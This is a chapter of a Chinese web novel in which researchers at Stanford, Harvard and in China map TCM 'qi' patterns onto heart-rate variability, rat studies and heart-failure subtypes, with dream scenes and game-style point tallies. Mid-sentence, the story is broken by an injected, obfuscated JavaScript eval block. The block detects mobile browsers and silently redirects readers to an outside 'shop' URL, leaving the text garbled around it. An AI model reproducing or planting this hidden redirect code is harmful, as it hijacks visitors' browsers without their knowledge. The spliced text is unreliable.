斯坦福的春天比波士顿明媚得多。棕榈树在阳光下舒展,校园里随处可见穿着短裤跑步的学生。但邱悦然几乎没时间享受加州阳光——她正沉浸在数字健康实验室的海量数据中。
斯坦福导师给她的课题是:利用机器学习算法,从可穿戴设备数据中预测慢性病急性发作风险。这正好与她国内的社区健康管理项目对接。
“悦然,你看这个模式。”同组的印度博士生拉杰指着屏幕,“在发生心力衰竭急性加重前7-14天,患者的心率变异性(HRV)会出现特定模式的改变——不是简单的数值下降,而是‘结构’变化,比如低频与高频成分的比例失衡、昼夜节律消失。”
邱悦然仔细看着图表:“这像是自主神经调节系统提前发出的‘预警信号’。如果我们可以提前捕捉到这个信号……”
“就能提前干预,避免住院。”拉杰兴奋地说,“但我们现在的算法只能做到提前24-48小时预警,准确率70%。你的社区数据时间跨度更长,也许能训练出更早预警的模型。”
邱悦然调出国内银杏社区的数据。在过去一年中,有8位老人发生过需要急诊的心血管事件(心绞痛发作、心衰加重等)。她回溯这些事件前一个月的手环数据,果然发现了类似模式——HRV结构变化最早可提前21天出现。
“我们需要更多数据。”邱悦然说,“但我有个想法:HRV变化可能反映‘气’的紊乱。中医认为,气机失调会导致各种疾病。如果我们能把中医的气虚、气滞等辨证分型,与HRV的数学特征关联起来,或许能建立更精准的预警模型。”
拉杰疑惑:“‘气’?那是什么?能量场吗?”
邱悦然想了想,用他能理解的方式解释:“你可以把它理解为‘生理系统的调节能力’。当这个调节能力下降(气虚)或紊乱(气滞)时,身体应对应激的能力减弱,容易发病。HRV是自主神经调节功能的窗口,而自主神经是‘气’调节全身的重要通路之一。”
“所以你在寻找‘调节能力’的数学表达。”拉杰懂了,“这很有意思。我们通常只关注单一指标的异常,但如果能评估整个调节网络的‘健康度’,那预测能力会强得多。”
两人开始合作。邱悦然提供中医辨证数据(来自国内社区的定期评估),拉杰设计算法提取HRV的多维度特征(不仅是时域频域指标,还有非线性动力学特征)。他们尝试用机器学习模型建立“辨证分型”与“HRV特征模式”的映射。
初步结果令人鼓舞:模型能区分“气虚型”“气滞型”“正常型”的准确率达到82%。更重要的是,“气虚型”老人的HRV特征显示“调节刚性”——对外界扰动的响应变得单调、恢复缓慢;而“气滞型”则表现为“调节振荡”——过度反应且不稳定。
“这就像两种不同的系统故障模式。”拉杰分析,“气虚是‘动力不足’,系统变得迟钝;气滞是‘控制失调’,系统变得敏感但不稳定。这两种模式都可能增加急性发作风险,但机制不同,干预策略也应该不同。”
邱悦然脑中火花一闪:这不正对应刘砚提出的“底部重损型”(气虚)和“调控紊乱型”吗?也许,通过可穿戴设备的连续监测,可以实现对“气”状态的动态评估,甚至预测其变化趋势。
她立刻把这个想法分享给刘砚和梁静姝。
国内,梁静姝正在中医药大学的实验室里。她与药理学教授合作,启动了“益气活血方药的多尺度机制研究”。
他们选择了经典方剂“补阳还五汤”(益气活血代表方)和其简化方(黄芪、当归、川芎、赤芍、地龙、桃仁、红花),在大鼠心梗模型上进行实验。
“我们设计了四个观察层面。”实验室里,梁静姝向合作教授介绍,“第一,宏观心功能——超声心动图测LVEF;第二,心肌灌注——微球法测区域血流量;第三,心肌细胞能量代谢——检测ATP含量、线粒体功能;第四,分子机制——检测能量代谢通路关键酶活性、血管新生因子表达。”
教授点头:“层层深入,很好。我们还要设对照组:单纯益气组(黄芪为主)、单纯活血组(川芎、红花为主)、益气活血组(全方),看不同治则的作用侧重。”
实验进行得很顺利。四周后,初步结果出炉:
·所有治疗组的心功能都有改善,但益气活血组改善最显著,LVEF从模型组的32%提升至48%。
·心肌灌注方面,活血组改善最明显,缺血区域血流量增加65%;益气组增加35%;益气活血组增加58%,但分布更均匀。
·细胞能量代谢上,益气组表现突出:心肌细胞ATP含量恢复至正常的85%,线粒体膜电位改善;活血组改善有限;益气活血组介于二者之间。
·分子机制显示,益气组主要上调线粒体生物合成相关基因;活血组主要促进血管新生和抗纤维化;益气活血组则二者兼顾,还显示出独特的抗炎和调节自主神经活性作用。
“太有意思了。”教授看着数据,“益气主要作用于‘动力源头’——改善细胞能量生成;活血主要作用于‘输送管道’——改善血流灌注;而二者合用,不是简单叠加,而是产生了协同效应——既补动力又通管道,还调节了整体内环境。”
梁静姝补充:“这完美印证了‘气帅血行’理论。气不足,单通管道效果有限;管道不通,单补气也难达病所。必须益气与活血并举,恢复完整的‘动力循环’。”
他们开始撰写论文。同时,梁静姝将这个发现反馈给社区项目,调整了干预方案:对于气虚明显的老人,在艾灸足三里(补气)基础上,增加按摩血海、膈俞等活血穴位;对于血瘀明显的(如舌下静脉曲张),则在活血基础上加强营养支持(补精以化气)。
社区护士反馈:调整后,老人疲劳感改善更明显,下肢水肿消退更快。
哈佛这边,刘砚和艾米莉的多尺度动力评估研究进入了实施阶段。他们在三个站点各招募了20例患者,进行全套评估。
但技术挑战接踵而至。
“线粒体膜电位检测需要新鲜血样,欧洲站点说他们的冷链运输总出问题,样本活性损失。”艾米莉头疼地说,“微循环成像的设备校准不一致,中国站点用的是国产设备,和美国站点的参数不同。”
刘砚也在解决协调问题:“PET-CT费用高昂,不是所有患者都愿意做。我们需要替代方案——也许心脏磁共振灌注成像可以部分替代。”
两人每天开协调会到深夜。但进展缓慢。
一天晚上,刘砚筋疲力尽地回到公寓,玉佩异常温热。他知道,该寻求“场外指导”了。
入睡后,明理堂的景象让他精神一振。
今夜,明理堂变成了一个巨大的“钟表工厂”。无数齿轮相互咬合,大齿轮带动小齿轮,小齿轮驱动更精细的零件。整个系统有条不紊地运转。
“看这动力传递。”黄帝指向最大的中心齿轮,“此即‘心气’,为全身动力之中枢。然中枢之动,需赖各级齿轮传递、放大、调节,方能驱动末梢。”
岐伯接着指向一套复杂的联动装置:“此乃‘肝气’,主疏泄、调畅气机。它像是一套‘变速器’和‘离合器’,根据需求调节动力分配——该快则快,该慢则慢,该停则停。”
刘砚看着那些精密的机械,忽然想到:“这不就是自主神经系统吗?交感神经加速(肝气疏泄太过),副交感神经减速(肝气疏泄不及)。而心率变异性,就是这套变速器调节灵敏度的指标。”
“然也。”黄帝微笑,“然齿轮需润滑油,否则摩擦生热、磨损卡顿。此‘润滑油’,即是‘阴血’。血能载气,亦能养气。血亏则气燥,调节失灵。”
画面中,部分齿轮因缺乏润滑油开始发红、卡顿。
“所以临床常见‘血虚肝旺’——阴血不足,肝气失去濡养,变得虚性亢奋,表现为烦躁、失眠、血压波动。”刘砚领悟,“这对应邱悦然他们发现的‘气滞型’HRV特征——调节振荡、不稳定。”
“再看燃料。”岐伯指向给系统供能的“燃烧炉”,“此即‘脾胃之气’,将水谷精微转化为可用之能(ATP)。燃料不足或质量差,则炉火不旺,中枢齿轮无力,整个系统动力下降。”
“这就是‘气虚型’。”刘砚说,“动力不足,调节变得迟钝、刚性。对应底部重损的动力谱。”
黄帝总结:“故‘气帅血行’非单一环节,而是一个精密联动的‘动力链条’:燃料供应(脾胃化生精微)→能量转化(线粒体生成ATP)→中枢驱动(心气泵血)→分配调节(肝气疏泄)→末端执行(血行濡养)。链条上任一环节故障,皆可表现为‘气虚’或‘气滞’,但病机不同,治法则异。”
【领悟:“气帅血行”作为多环节联动的动力链条模型】
【积分+45(刘砚),+40(梁静姝),+38(邱悦然)】
【提示:此模型可指导辨证分型与精准干预】
梦境中,岐伯还给了一个实用建议:“尔等研究中技术难题,可考虑‘分层妥协’——核心环节(如中枢驱动)用金标准评估(心超),次要环节用替代指标。如线粒体功能难测,可先测其下游效应——肌肉握力、运动耐力,此亦‘气’之外现。”
刘砚茅塞顿开。是啊,如果直接检测ATP困难,为什么不测其功能输出?握力、六分钟步行距离、日常活动能力,这些都是“气”的宏观表现,且易于测量、跨文化可比。
醒来后,他立刻调整方案:在多层评估中,增加“功能表现层”——握力测试、六分钟步行试验、日常活动能力量表。这些简单测试,反而可能是连接微观能量与宏观功能的关键桥梁。
新方案发给各站点后,反响积极。欧洲站点说:“功能测试我们很擅长,早就该加上了。”美国站点说:“这些指标医保认可,容易推广。”
协调难题找到了突破口。
一个月后,三个站点的完整数据陆续返回。刘砚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122898|195979||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和艾米莉开始整合分析。
他们不再简单比较“气虚评分”,而是为每个患者绘制七层动力谱:
1. 功能表现(握力、步行距离)
2. 宏观心功能(LVEF)
3. 心肌灌注(MRI或替代)
4. 微循环评分
5. 细胞能量(ATP或替代)
6. 自主神经调节(HRV特征)
7. 营养代谢(白蛋白、血红蛋白)
然后用聚类算法,将患者分成若干亚型。
结果令人兴奋:患者自然聚为四类:
· Ⅰ型:能量匮乏型(以中国患者为主):细胞能量和营养代谢层严重受损,功能表现差,但心功能尚可保留。对应“底部重损”。
· Ⅱ型:泵衰竭型(以美国患者为主):宏观心功能严重受损,但细胞能量层相对完好。功能表现差主要源于“泵”坏了。
· Ⅲ型:调节紊乱型(混合分布):自主神经调节特征异常(HRV结构紊乱),各层指标轻度全面下降。对应“气滞”。
· Ⅳ型:代偿型(欧洲患者较多):各层指标轻度下降,但功能表现相对保留,提示代偿机制活跃。
“这四型对治疗的反应可能不同。”艾米莉分析,“Ⅰ型可能需要营养支持+能量代谢调节;Ⅱ型需要强心+改善心脏结构;Ⅲ型需要调节自主神经;Ⅳ型可能只需维持现有状态,避免失代偿。”
刘砚点头:“这正是中医‘同病异治’的现代诠释——同为‘心衰’(气虚),但病机不同,治法当异。我们的穴位干预研究,应该按亚型分层分析。”
他们开始重新分析干预数据。初步发现:足三里(健脾益气)对Ⅰ型患者效果最显著;内关(宁心安神)对Ⅲ型患者效果较好;而Ⅱ型患者对各种穴位反应都一般,可能需要更强力的西医干预。
“循环医学不是要取代西医,而是补充其盲区。”刘砚在项目进展报告中写道,“对于泵衰竭型(Ⅱ型),现代心衰药物和器械治疗是基石;但对于能量匮乏型(Ⅰ型)和调节紊乱型(Ⅲ型),中医针灸、中药、生活方式调节可能发挥独特价值。关键在于精准识别患者属于哪一型。”
这份报告提交给NIH后,获得了评审专家的高度评价:“这是一项真正具有转化潜力的研究。它没有简单比较‘中西医孰优孰劣’,而是探索如何整合二者优势,实现个性化治疗。”
项目获得了第二期经费支持。
消息传来时,刘砚正在与梁静姝、邱悦然视频会议。
“恭喜!”邱悦然在斯坦福的阳光下笑得灿烂,“我们的理论正在被认可。”
梁静姝也微笑:“国内的基础研究论文被《中华心血管病杂志》接受了。社区项目也获得卫健委的‘慢性病防控优秀案例’奖。”
“这都是大家共同努力的结果。”刘砚看着屏幕上的两位伙伴,心中充满感激。
分开半年多,他们各自在三大洲奋战,却通过共同的理论框架和数据共享,形成了一个无形的“学术共同体”。
邱悦然忽然说:“对了,斯坦福这边有家数字健康初创公司,对我们的HRV辨证算法很感兴趣,想合作开发产品。我在考虑,是否要参与。”
“商业化?”梁静姝问。
“是,但我想好了原则:算法开源,产品定位为‘辅助评估工具’,不能宣称诊断治疗功能,且必须与专业医疗结合。”邱悦然说,“我想试试,看能不能让我们的理念通过科技产品惠及更多人。”
刘砚思考后说:“如果你觉得方向正确,且能守住医学伦理底线,我支持。但一定要谨慎,健康领域容不得半点夸大。”
“放心,我会的。”
会议结束前,梁静姝轻声说:“刘砚,你什么时候回国?爷爷说想你了。”
刘砚心中一暖:“下个月,NIH中期汇报后,我会回去两周。”
“好,等你。”
屏幕暗下,刘砚坐在波士顿的公寓里,窗外夜色已深。
从“气帅血行”的古老命题,到跨尺度动力链条的现代模型,再到三大洲的协同验证——这条探索之路,虽然漫长,但每一步都坚实。
而他知道,这还只是开始。
生命之流的奥秘,还有更多层面等待揭示。
【核心进展:构建七层动力谱模型,识别心衰四种亚型,验证“同病异治”的现代科学性】
【现实进展:NIH研究获二期资助;国内基础机制研究发表;斯坦福算法获商业合作机会】
【情感线:三人跨国协作默契;邱悦然考虑参与创业;梁静姝含蓄表达思念】
【积分更新:刘砚 865/5000,梁静姝 836/1000,邱悦然 617/500】
【下节预告:刘砚回国短期停留,团队重聚;社区项目推广遇行政阻力;梦境深入探讨“气”与免疫调节的关系;新竞争者——跨国药企伸出橄榄枝。】